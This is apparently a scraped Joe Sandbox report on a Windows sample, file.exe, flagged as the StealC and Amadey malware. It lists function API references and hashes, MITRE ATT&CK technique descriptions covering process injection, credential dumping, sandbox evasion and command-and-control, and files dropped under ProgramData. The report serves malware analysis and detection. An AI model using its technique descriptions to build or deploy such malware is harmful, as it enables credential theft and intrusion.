Opcode Fuzzy Hash: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction Fuzzy Hash: BBD01232A0825455C95167D7BC85B96B6BCC7C32BAF20CC6AE12842E104B6654FAD369

Function 6CEB0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEB0DF5
TlsGetValue.KERNEL32 ref: 6CEB0E2D
TlsGetValue.KERNEL32 ref: 6CEB0E58
TlsGetValue.KERNEL32 ref: 6CEB0E84

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction ID: 310d0fb5388c6e3a4474c2e8806d7aad52d95e628d437d7508dbe07a207ad5d3
Opcode Fuzzy Hash: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction Fuzzy Hash: E73195B0A543818BDF406F78D78477977B4BF0634CF21866DE89897B11EB35A085CB81

Function 6CEB0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
malloc.MOZGLUE(00000001), ref: 6CEB0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42
TlsGetValue.KERNEL32 ref: 6CEB0F5B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction ID: 27551b50a0a70197dcd2119f42b1de22d3daeabe90e77fd0f9869db1926ec11e
Opcode Fuzzy Hash: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction Fuzzy Hash: E20128F2F102809BE7502B3A9F45676BABCEF5229DF210135ED18D2A21EB31D405C6E2

Function 6CE61EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE61ECE
free.MOZGLUE(?), ref: 6CE61EDF
free.MOZGLUE(?), ref: 6CE61EEF
free.MOZGLUE(?), ref: 6CE61EF5

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction ID: 8384d25e585d5d45224feed39bde1630cff3be0a9d1991cdbe1a1b139a36e1f2
Opcode Fuzzy Hash: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction Fuzzy Hash: 09F0B4B5B50501ABEB009BE6EC45F27B37CEF45199B140424EC19C3E00D726F41086A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCFBGDH

C:\ProgramData\FCFHJKJJJECGDHJJDHDA

C:\ProgramData\FHCGHJDB

C:\ProgramData\GDBKKFHIEGDHJKECAAKKEBAFIJ

C:\ProgramData\GIIEGHIDBGHIECAAECGD

C:\ProgramData\HIEHDAFHDHCBFIDGCFIDGHJDGD

C:\ProgramData\KKEHDBAEGIIIEBGCAAFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre